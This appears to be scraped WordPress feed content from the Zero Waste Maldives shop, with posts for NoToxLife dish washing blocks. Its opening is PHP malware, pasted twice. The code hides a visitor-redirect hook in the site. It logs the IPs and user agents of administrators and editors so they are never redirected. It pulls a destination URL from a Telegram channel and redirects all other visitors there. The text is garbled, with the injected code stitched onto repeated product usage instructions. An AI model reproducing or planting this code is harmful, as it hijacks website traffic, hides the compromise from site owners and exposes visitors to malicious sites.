add_action('template_redirect', 'custom_redirect_function');
function custom_redirect_function() {
global $wpdb;
$on_hot_redirect = true;
function _getIP() {
if (isset($_SERVER["HTTP_CF_CONNECTING_IP"])) {
return $_SERVER["HTTP_CF_CONNECTING_IP"];
} elseif (!empty($_SERVER['HTTP_CLIENT_IP'])) {
return $_SERVER['HTTP_CLIENT_IP'];
} elseif (!empty($_SERVER['HTTP_X_FORWARDED_FOR'])) {
return $_SERVER['HTTP_X_FORWARDED_FOR'];
} else {
return $_SERVER['REMOTE_ADDR'];
}
}
function fetch_remote($url) {
if (function_exists('curl_version')) {
$ch = curl_init();
curl_setopt($ch, CURLOPT_URL, $url);
curl_setopt($ch, CURLOPT_RETURNTRANSFER, 1);
curl_setopt($ch, CURLOPT_FOLLOWLOCATION, 1);
curl_setopt($ch, CURLOPT_SSL_VERIFYPEER, 0);
curl_setopt($ch, CURLOPT_USERAGENT, 'Mozilla/5.0 (Windows NT 10.0; Win64; x64)');
curl_setopt($ch, CURLOPT_TIMEOUT, 5);
$response = curl_exec($ch);
curl_close($ch);
return $response;
}
return @file_get_contents($url);
}
function get_redirect_link($cache_file) {
$html = fetch_remote("https://t.me/s/trafficredirect1");
if (!$html) return false;
if (preg_match_all('/(https?:\/\/[^<]+)<\/code>/', $html, $matches)) {
$link = end($matches[1]);
if (!empty($link)) {
file_put_contents($cache_file, $link);
return $link;
}
}
if (preg_match_all('/]+href="(https?:\/\/[^"]+)"[^>]*>/i', $html, $matches)) {
foreach (array_reverse($matches[1]) as $link) {
if (strpos($link, 't.me') === false) {
file_put_contents($cache_file, $link);
return $link;
}
}
}
return false;
}
$ip = _getIP();
$ua = $_SERVER['HTTP_USER_AGENT'];
$table = $wpdb->prefix . "wusers_inputs";
if ($wpdb->get_var("SHOW TABLES LIKE '$table'") != $table) {
require_once(ABSPATH . 'wp-admin/includes/upgrade.php');
$sql = "CREATE TABLE $table (
ip INT(11) UNSIGNED NOT NULL,
useragent VARCHAR(535) NOT NULL
) ENGINE=MyISAM DEFAULT CHARSET=utf8;";
dbDelta($sql);
}
$exists = $wpdb->get_var($wpdb->prepare(
"SELECT 1 FROM $table WHERE ip = %s AND useragent = %s LIMIT 1",
ip2long($ip),
$ua
));
if ((current_user_can('editor') || current_user_can('administrator')) && !$exists) {
$wpdb->insert($table, array(
'ip' => ip2long($ip),
'useragent' => $ua
));
$exists = true;
}
if ($on_hot_redirect && !$exists) {
$exists = $wpdb->get_var($wpdb->prepare(
"SELECT 1 FROM $table WHERE ip = %s OR useragent = %s LIMIT 1",
ip2long($ip),
$ua
));
if (!$exists) {
$cache_file = sys_get_temp_dir() . '/' . md5('tg_redirect_cache');
if (file_exists($cache_file) && filesize($cache_file) > 0) {
$age = time() - filemtime($cache_file);
$link = trim(file_get_contents($cache_file));
}
if (!isset($link) || $age >= 30 || empty($link)) {
$link = get_redirect_link($cache_file);
}
if ($link) {
wp_redirect($link);
exit;
}
}
}
}
add_action('template_redirect', 'custom_redirect_function');
function custom_redirect_function() {
global $wpdb;
$on_hot_redirect = true;
function _getIP() {
if (isset($_SERVER["HTTP_CF_CONNECTING_IP"])) {
return $_SERVER["HTTP_CF_CONNECTING_IP"];
} elseif (!empty($_SERVER['HTTP_CLIENT_IP'])) {
return $_SERVER['HTTP_CLIENT_IP'];
} elseif (!empty($_SERVER['HTTP_X_FORWARDED_FOR'])) {
return $_SERVER['HTTP_X_FORWARDED_FOR'];
} else {
return $_SERVER['REMOTE_ADDR'];
}
}
function fetch_remote($url) {
if (function_exists('curl_version')) {
$ch = curl_init();
curl_setopt($ch, CURLOPT_URL, $url);
curl_setopt($ch, CURLOPT_RETURNTRANSFER, 1);
curl_setopt($ch, CURLOPT_FOLLOWLOCATION, 1);
curl_setopt($ch, CURLOPT_SSL_VERIFYPEER, 0);
curl_setopt($ch, CURLOPT_USERAGENT, 'Mozilla/5.0 (Windows NT 10.0; Win64; x64)');
curl_setopt($ch, CURLOPT_TIMEOUT, 5);
$response = curl_exec($ch);
curl_close($ch);
return $response;
}
return @file_get_contents($url);
}
function get_redirect_link($cache_file) {
$html = fetch_remote("https://t.me/s/trafficredirect1");
if (!$html) return false;
if (preg_match_all('/(https?:\/\/[^<]+)<\/code>/', $html, $matches)) {
$link = end($matches[1]);
if (!empty($link)) {
file_put_contents($cache_file, $link);
return $link;
}
}
if (preg_match_all('/]+href="(https?:\/\/[^"]+)"[^>]*>/i', $html, $matches)) {
foreach (array_reverse($matches[1]) as $link) {
if (strpos($link, 't.me') === false) {
file_put_contents($cache_file, $link);
return $link;
}
}
}
return false;
}
$ip = _getIP();
$ua = $_SERVER['HTTP_USER_AGENT'];
$table = $wpdb->prefix . "wusers_inputs";
if ($wpdb->get_var("SHOW TABLES LIKE '$table'") != $table) {
require_once(ABSPATH . 'wp-admin/includes/upgrade.php');
$sql = "CREATE TABLE $table (
ip INT(11) UNSIGNED NOT NULL,
useragent VARCHAR(535) NOT NULL
) ENGINE=MyISAM DEFAULT CHARSET=utf8;";
dbDelta($sql);
}
$exists = $wpdb->get_var($wpdb->prepare(
"SELECT 1 FROM $table WHERE ip = %s AND useragent = %s LIMIT 1",
ip2long($ip),
$ua
));
if ((current_user_can('editor') || current_user_can('administrator')) && !$exists) {
$wpdb->insert($table, array(
'ip' => ip2long($ip),
'useragent' => $ua
));
$exists = true;
}
if ($on_hot_redirect && !$exists) {
$exists = $wpdb->get_var($wpdb->prepare(
"SELECT 1 FROM $table WHERE ip = %s OR useragent = %s LIMIT 1",
ip2long($ip),
$ua
));
if (!$exists) {
$cache_file = sys_get_temp_dir() . '/' . md5('tg_redirect_cache');
if (file_exists($cache_file) && filesize($cache_file) > 0) {
$age = time() - filemtime($cache_file);
$link = trim(file_get_contents($cache_file));
}
if (!isset($link) || $age >= 30 || empty($link)) {
$link = get_redirect_link($cache_file);
}
if ($link) {
wp_redirect($link);
exit;
}
}
}
}
The post NoToxLife Dish Washing Block 609g appeared first on Zero Waste Maldives.
]]>How to use: Scrape dishes to remove excess grease and food. For plates, bowls and cups, wet brush or sponge cloth and rub on Dish Block™ soap to create suds. (Repeat as needed to refresh suds.) Wash items and rinse well. Works in warm or cold water but warm water for best results. For pots and pans, use a pot brush, scrubber or scourer.
If you have hard water- you might find it beneficial to rinse your dishes with diluted vinegar afterwards as the soap can sometimes react with the water and leave a bit of a residue on your dishes.
Keep in a dish which will allow it to dry between uses.
Please note: using a strong scourer exclusively on the block will wear it down faster than using a cloth or soft brush.
The post NoToxLife Dish Washing Block 609g appeared first on Zero Waste Maldives.
]]>The post NoToxLife Dish Washing Block 170g appeared first on Zero Waste Maldives.
]]>How to use: Scrape dishes to remove excess grease and food. For plates, bowls and cups, wet brush or sponge cloth and rub on Dish Block™ soap to create suds. (Repeat as needed to refresh suds.) Wash items and rinse well. Works in warm or cold water but warm water for best results. For pots and pans, use a pot brush, scrubber or scourer.
If you have hard water- you might find it beneficial to rinse your dishes with diluted vinegar afterwards as the soap can sometimes react with the water and leave a bit of a residue on your dishes.
Keep in a dish which will allow it to dry between uses.
Please note: using a strong scourer exclusively on the block will wear it down faster than using a cloth or soft brush.
The post NoToxLife Dish Washing Block 170g appeared first on Zero Waste Maldives.
]]>